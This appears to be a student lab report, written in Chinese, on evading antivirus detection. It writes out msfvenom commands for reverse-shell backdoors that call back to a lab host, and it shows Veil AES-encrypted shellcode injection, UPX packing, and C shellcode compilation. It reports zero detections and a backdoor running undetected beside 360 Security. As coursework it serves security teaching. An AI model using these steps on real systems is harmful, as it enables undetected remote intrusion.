Exp3-免杀原理
Exp3-免杀原理
实践内容
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分1)
基础问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
- 利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
- 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。- 免杀的基本方法有哪些?
- 改变特征码:1.如果你手里只有EXE:加壳:压缩壳 加密壳;2.有shellcode(像Meterpreter):用encode进行编码或基于payload重新编译生成可执行文件;3.有源代码:用其他语言进行重写再编译(veil-evasion)
- 改变行为:1.通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据 。 2.基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码
- 开启杀软能绝对防止电脑中恶意代码吗?
不能,就算是杀软也不能保证100%检测出恶意代码,很多检测都是基于已有的恶意代码来检测,当出现新的恶意代码或者恶意代码采取与以往不同的行为时杀软可能无法检测出来。
实验过程
首先再次生成了实验二中的后门20191304_backdoor.exe在免杀测试平台上进行测试,可以看到测试结果为53/67
我们首先使用Unicode编码一次,再次在平台上进行测试,发现测试结果为52/69
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.226.137 LPORT=1304 -f exe > 20191304_backdoor1.exe
虽然降低了但不明显,我们进行多次编码,只需要加参数“-i + 次数”;这里我们进行了11次编码,可以看到结果48/68
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i 11 -b ‘\x00’ LHOST=192.168.226.137 LPORT=1304 -f exe > 20191304_backdoor2.exe
接下来我们使用msf编码器生成别的文件,首先尝试生成jar包,这里需要修改-f后面的参数。再次进行测试,结果是32/59。同时可以看到很多结果是无法处理该文件类型,总数只是59。
msfvenom -p java/shell_reverse_tcp LHOST=192.168.226.137 LPORT=1304 -f jar > 20191304_backdoor3.jar
我们再尝试生成php文件,平台检测结果是22/57
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.226.137 LPORT=1304 x> 20191304_backdoor4.php
接下来使用veil加壳。安装指令:
sudo apt-get install veil-evasion
这里安装完成后可以修改setup.sh。但是我修改后一直没安装成功,后来直接进行veil使用源地址安装成功了
其中,安装过程出现的错误不需要理会。通常情况下,首次安装完都会提示如下错误:
执行如下指令:
/usr/share/veil/config/setup.sh --force --silent
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!
看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具。
进入veil界面可以可用的工具和可以使用的指令,我们使用Evasio,进行IP,端口设置,
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.226.137 //设置ip
set LPORT 1304 //设置端口
options //查看设置
generate //生成
再次在平台上进行检测,结果39/68
接下来对刚才的exe加壳,指令:
upx 20191304_c_mtp_py.exe -o 20191304_c_mtp_py_upx.exe
再次检测,结果40/69,看来加壳目前很容易检测出来
后面我们使用C + shellcode编程。利用如下指令得到shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.137 LPORT=1304 -f c
利用vi编辑器进行编辑:
生成可执行文件并再次进行检测,结果34/68
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
后面采取各种组合来实现免杀:
use evasion
use python/shellcode_inject/aes_encrypt.py
generate
可以看到成功实现了免杀,检测率为0
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功;实验环境:win7虚拟机,杀毒软件360安全卫士:
编码器选择bloxor编码11次,并且同时加壳,生成20191304_backdoor5_upx.exe
将exe发送到win7下与360共存,并且进行监听
可以成功获取win7虚拟机信息
实践总结与体会
这次实验是自己动手来免杀,期间通过尝试不同的方法来达到免杀的目的,遇到了很多问题,其中veil安装的各种问题是最为复杂的,在调试无法成功的时候,最后还是重新装了kali,解决问题的过程也是积累了很多经验,通过这次实验也感受到网络对抗的有趣的过程,希望在今后的学习当中能够学到更多有用有趣的知识